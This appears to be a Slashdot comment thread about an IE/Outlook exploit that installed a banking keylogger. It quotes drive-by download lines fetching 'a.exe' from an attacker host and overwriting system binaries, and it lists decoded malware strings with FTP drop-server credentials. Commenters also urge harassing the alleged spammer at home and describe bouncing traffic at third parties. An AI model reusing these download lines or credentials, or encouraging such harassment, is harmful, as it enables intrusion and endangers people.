Yeah, because I spend hours a week re-patching the continual stream of security updates that come out of kernel.org and apache.org. Most people aren't "scared" of windows because most people can't get past basic concepts like "double-clicking" and dragging things on the desktop, much less know how to "secure their Windows desktops". I've even met some of you "certified" windows types. Can't say I'd want to work with someone who can merely complete a memorizable test for a cash-in-exchange-for-a-certification. Oh well, you get paid by lemmings to do MS's dirty work. Hope you're happy. Meanwhile, some of us have things to actually "do" instead of wasting our time mucking around with today's security patch.
http://www.dtic.mil/jcs/j6/sponsor/pentroom.htm
> x.Open("GET", "http://adversting.co.uk/a.exe",0);
> s.SaveToFile( "C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
Go ahead and tell me Mozilla doesn't do this:
> x.Open("GET", "http://adversting.co.uk/a.sh",0);
> s.SaveToFile( "/usr/bin/su",2);
or some variant of that. If it blocks that, then it's probably breaking some functionality that other users want.
Speaking of breaking functionality in the name of security, here's a question: Why did Sun DOWNGRADE the Java 1.1 security standards from Java 1.0? Could it be because too many coders asked for it? If you can't do that code snip in Mozilla now, how long before some one else demands it?
From another Vmyths rant:
Guess what? Java or Linux or whatever comes next will create even more homogeneity at the session, presentation, and application layers. "Sure, Rob, but we'll sacrifice flexibility & functionality for safety when VaporOS v1.0 debuts." Ah, of course. Will VaporOS v1.1 downgrade its security specs like Java v1.1 did?
Use Evolution instead of Outlook? Bewa
This seems like a pretty vicious email, so why haven't the cops visited the guy yet?
Better yet, why not visit the perpetrator in person and educate him as to how some folks feel about this? According to the Peoplepages Phone Directory at http://directory.superpages.com he lives just east of Nashville, TN and mapquest will give you a map to his front door. Any slashdot folks in Nashville want to pay him a visit?
The rest of us could just phone him at 3:00 in the morning.
When in doubt: procrastinate, accelerate or turn left.
Not "viri" and not "virii". Stop pretending like you know latin when you obviously don't. It makes you look stupid.
Hmmm. Your ideas are intriguing to me and I wish to subscribe to your newsletter.
So you're saying its not "the thought" but "the money they spent," that counts?
It's even funnier when the one posting it has a number HIGHER than that of the person he's replying to.
fs
A friend's personal best was when he was plugging his laptop into the university's network for a bit. After sixteen (16) seconds, his machine had blaster installed and got the RPC to reboot!
Yeah, it's really amazing how much MSBlaster is still going around, I recently got a copy of XP (Yes, I have a linux box also, but I heard on /. that BSD is dead, so I don't have a box with that on it.), and I'm on a 26,400 dialup connection (no alt., sad, but true), and when I went on line to "activate" my copy of XP, the box was infected within the first minute!
There wasn't even enough time to "activate" XP, I was blown away at how fast it got me!
Fortunately, I have already scrubbed blaster from several of my less computer saavy friends boxen, so it was a cinch to make mine "well" again.
But under a minute on a slooow dialup connection, really gets me...
Obviously, Mozilla. Don't turn off HTML, because there are no known exploits for Mozilla.
I downloaded a.exe out of curiousity, and have been analysing it. The file contains a number of very interesting strings, which make it quite obvious that this program attempts to hijack the user's personal login information as they log in to various popular Internet banking services.
... continues for 152 more of these.
:(. I would have taken great delight in deleting the lists of account numbers that had undoubtedly accumulated.
The strings are (trivially) encrypted, by XOR'ing each character with 255. They make frightening reading. I have listed some of them below.
Of particular interest are the five at the top. Seems as if the details are uploaded to one of two FTP sites, and the exploit may affect people using Opera as well as IE. Don't know how though - Opera has never seemed anywhere near as buggy.
64.191.23.212 21 ircd thepassw0rd https
http
Internet Explorer
Opera
69.93.102.218 21 logi bbzaza123 hangseng
HSBC
bank
ufjbank
I tried to log in to those FTP sites, but no luck
Java uses a sandbox. But Javascript does not. Many gurus, like Ed Felten of Princeton, keep Javascript (which incidentally is not really related to Java; Javascript was named as a marketing ploy) turned off. I've tried that, but too many sites use JS.
Outlook has always been a mass of bugs held together by security holes. This isn't going to change because NanoLimp is more interested in giving lusers the point'n drool UI they want, rather than good programs. Not only that, there are more people looking for more security holes and more people exploiting them because most PC lusers use it. Why? Not because it's good; it isn't. They use it because it's there, and they have no idea that there are other email clients out there. As long as this continues, the easiest way to be safe is not to use Outlook; whatever other program you use will have holes -- no program is completely safe -- but nobody will be looking for them. Running with the herd is easy, and seems safe. In this case, it's the most dangerous thing you can do but most people will because it's easier than thinking for themselves.
Good, inexpensive web hosting
OK, I run both, but lets do to one of my Windows Boxes what you do to your Linux box:
:P), etc.
1. Disable unnecessary services - darnit, I already did this and check only after major installs, but consider it ten minutes if you have to google any of them
2. Configure iptables - Ok, not quite the same, but I installed norton and configured it to ask first on just about everything
3. Updates - ok, this one took a while, luckily I had latest service packs handy already, which meant only 3 reboots for norton (argh)
4. Hrm, didn't do this. But my firewall is blocking all traffic that is externally initiated, and only allowing certain trusted applications out. Outlook doesn't render HTML (this was by default in my 2003 install), IE is patched all the way up...etc etc
As far as disabling IIS...no problem. Well, now I don't have ftp or www servers running, but my mail is still going out if thats what you were implying would break...? You realize that IIS is not required during installation, right?
I agree that Outlook (and in fact IE) should not have access to WScript and CScript anymore than any browser should have access to it's OS's scripting engine (running shell scripts for instance) BUT I also have to say that I have only ever had 2 viruses infect my machines, and one of those was from an Apache server for another popular tech website that had been cracked.
But perhaps I should check CERT again, make sure SSH doesn't have a buffer overrun (dude, is it me or does every verion start out with one of these?
Whee signature.
My current burr is QuickBooks Pro 2003. It's a Java app, nothing else. Portable across the OSes? No way, it runs in IE6 and nothing else and it has to be continuosly connected to the internet. Now what fuckwit thought it a good idea to put financials on an exposed computer? Good thing no virus writer ever used or heard of Intuit.
I don't see why people use html e-cards, when ASCII pictures of kitties, butterflies and tweety birds are JUST as cute.
I'm amazed that no-one has yet posted an analysis of the final payload 'a.exe'.
This decompresses and drops 'ra32.exe', 'lanext.dll' and 'lanman.dll' into the Application Data\Microsoft folder, and sets ra32.exe to run on startup through a HKCU\Software\MS\Win\CV\Run registry entry.
These files act as a keylogger. When they sees one of a built-in list of online bank sites being used, it logs keypresses for a bit and uploads the result via FTP to a server controlled by the attacker.
Bizarrely, for me in Windows 2000, it also opens an alert box with the message 'timediff' every 60 seconds. Bug?
I decided the info you posted was enough to warrant a bit of decisive action, so i sent a letter to WilTel with a link to the examination of the spam.. This was the reply... WOW, thanks for the expert analysis...I'll forward on to our Abuse Team and the sales VP who manages this account. Might at least hamper the Tennessee spammer a few minutes... :)))))
I call computer-illiteracy job security
Secondly, the "stupid dinosaur splash screen" (which I loved) has been gone for about 4 release versions of Mozilla now, to be replaced with a hideously drab orange box with 'Mozilla' written in it. Now that we've compromised on an ugly splash screen, no one's happy. Hooray for attempting to pander to everyone!
I loved the dinosaur splash screen, too. But I couldn't show those releases of Mozilla to my boss (a government manager type - think of Lumbergh in Office Space) - because it made Mozilla look like it was designed and built by 16-year-old virgins with anime posters on their walls.
Now, with that dinosaur splash screen, can I honestly deploy Mozilla onto the desktops of dozens of judges, business CEOs, and lawyers who make >$5,000,000 a year? They won't take it seriously and will therefore resist it. At least the drab orange box looks like some sort of corporate logo that they'd see if they went for a drive around the suburbs of Palo Alto - it lends credibility.
Think of people like Frasier Crane - he's a caricature of the middle-aged successful man, the sort of person who makes big purchasing decisions based on tastefulness rather than functionality. "I don't care if you say that I'll get e-mail viruses! I'm *not* going to stare at KMail all day! They don't even have a real spellchecker!"
(NB. The lack of a real spellchecker was fixed in KDE 3.2.)
This is the same sort of problem we have *everywhere* with open source, shareware and free software from Linux to Mozilla, and including things like AVI Preview (comes with Kazaa Lite) - tacky and stupid user interfaces lacking the same features as the Microsoft equivalent we're trying to replace.
I've ranted about this a lot over the years.
Fire and Meat. Yummy.
In other words, customers who we were going to abandon looked like they might jump to Linux rather than buy XP; so we decided we would string them along for another couple of years until we can convince them that Longhorn "is the most secure version of Windows ever" TM
Everyone's got good advice. Here organised crime makes an inroad into flaky MS technologies and to avoid a panic, people here and elsewhere advise turning off HTML, turning off JavaScript, turning off VBScript, abandoning LookOut, abandoning Internet Exploder...
It's all good advice, but it's pretty damned late. The writing was on the wall way back in May 2000, when ILOVEYOU hit. It was obvious even then that the entire world was sleeping. And although suspicions are still high that ILOVEYOU was actually an accident, the damage was real.
Half a year after ILOVEYOU, a concerned programmer decided to release a similar program into the wild, just to shake people up, and remind them that they hadn't learned a thing from the trauma half a year earlier.
And it didn't help a bit.
Today, with more holes in MS technology than openings in a fish net, the advice is still to turn off HTML, turn off JavaScript, turn off VBScript, abandon LookOut, abandon Internet Exploder...
Will no one realise that something is very very wrong when a technology such as MS's can allow arbitrary execution of code through a layer that by definition is supposed to not be able to do this? Will no one realise that the error is not in activating bells and whistles, but in the design itself?
MS is not going to survive. Only the criminals want this. Without millions of unprotected PCs out there, run by people who have no clue and can't be expected to, they're out of money.
This Internet used to be a cool thing. When was the last time any of you could concentrate on that, and not on all these MS-inflicted woes?
It's true, more than anyone can fully appreciate: the mongrels Bill Gates and Steve Ballmer ruined the neighbourhood.
The default security settings would have to be significantly loosened for any aspect of this exploit to work.
None of the ActiveX controls used by this exploit (XMLHTTP, ADODB.Stream, Scripting.FileSystemObject, WScript.Shell) are marked "safe for scripting". This means the default security settings would not allow these controls to run from any web server -- even 127.0.0.1. You would have to significantly tweak your IE security settings for this weak excuse for an exploit to work.
If an IE user is really paranoid of ActiveX, it's very easy to completely disable it. Unfortunately your browsing experience will look like Mosaic circa 1995.
Well, I just went a googling to find a link to prove my claim (above), but a quick review found nothing. I'm sure I've seen those dialogs though!! I DID find stories lamenting the lack of a button, but give the tip of holding down 'shift' while clicking No. Apparently this means 'No to All', but only works in XP (sorry 98 users).
GENERAL PUBLIC SIGNATURE (GPS) Any replies (derivatives) of this post must also use the GPS
Disabling HTML mail is not an option for some people, so a compromise would be something like what Mac's Mail offers, which allows you to disable images in HTML messages. But, the nice part is that each message has a "Load Images" button - allowing you to load images on an individual basis, after you've glanced at the text and determined it isn't hostile mail.
It's the Backdoor-CAY virus, as named by McAfee. See this article for a description by the person who originally found the virus. :)
Sending the file to McAfee really helped
Slashdot: stuff for news, nerds that matter, matter for news, stuff that nerd
I am not the parent poster, but I took your FF advice. Here is my critique (after 10 mins. of use):
- Bad
- Doesn't run PopUpCop (IE plugin). I use PopUpCop to turn off/on GIF animation and Flash auto-start.
- Smooth scrolling off by default.
- Smooth scrolling slow.
- The page I'm looking at right now (/. posting thing) looks a little off.
The first thing on my "bad" list may be a deal-breaker, as I can't stand animations next to the text I'm trying to read. Anyway, nice to see Mozilla is finally, genuinely nice. Thanks for the tip.(Note: Typos/incoherency <- Tylenol)
Monstromart: Where shopping is a baffling ordeal
> There are lots of things in windows that
> require admin access, MS office 97 requires it
KB 257643 and others like it cover Office 97 under Win2K and XP as restricted users - edits to security take care of those. Those are bugs in Office 97 apps, plain and simple. But then again, Office 97 isn't supported anymore.
Sure, one Office 2000 applet (Photo Editor) requires a similar hack. It only needs doing once, and then Sysprep and Ghost are your friends in the enterprise.
> AutoCAD does as well
And Autodesk doesn't have a fix by this time? Like I explained: How long has it been? Four years at least? No Excuse. Autodesk has competitors.
Someone asked me to make AutoCAD (whatever version it was) work as a restricted user. I charge C$30.00/hour for this work - take me up on it as you likely won't find cheaper. And if you want, I'll publish your paid work here.
Use Evolution instead of Outlook? Bewa
I use Outlook Express 6 & MailWasher.
Between the two, I don't download any piece of mail I don't want, don't view any HTML unless I choose to, and have *never* gotten a virii through my mail.
Express allows you to read all email as text only (Tools|Options|Read [X]Read All Message In Plain Text), and I've got that set as a button on the menu bar so I can toggle between the two states with but a single mouse click.
No images, no scripts, no buffer over-flows, no virii, no problem.
Think server environment, not desktop. IIS is required for one thing or another on just about every Win2K server in our domain. I've never used Norton firewall, and I hate patches that require reboots. Only the kernel requires that in Linux. And don't you love the way that Windows IP filtering is an all or nothing affair? Last time I checked, you couldn't specify individual interfaces.
Ok, I see where your coming from. Technically my home machines could be considered servers, but not by the same classification I think your aiming for.
:)
I agree that software updates shouldn't necessitate reboots, and thats one of the few things I dislike about Norton products (and the bastard format they use for log files) even if it is only once every 6 months to a year.
I guess I took the easy way out on filtering. I use Norton to do incoming and outgoing filtering on my main windows box (2kserver) and ipchains on my linux box, then top that all off with very wierd rules in my switch. I used to not bother putting firewalls or filtering on my other machines (laptops etc) until I noticed recently that somehow I am getting people probing ports on them, despite the fact that the switch doesn't relay any traffic to anything higher than x.x.x.3 on my network...ah well.
The best trick I have is just redirecting traffic from the switch instead of one of my machines. I just forward a bunch of offensive ports to one address on my windows machine, which then turns around and sends a slightly modified version of the packet out to whatever ip address resolves from this weeks target (fbi.gov, rr.com, whoever I feel should get off their butts and make someone stop trying to hit my machines). If nothing else maybe I'll scare off a few script kiddies who see traffic going out to one address and coming back from somewhere completely differant
Whee signature.
Art and beauty is defined by the eye of the beholder.
The brown eye?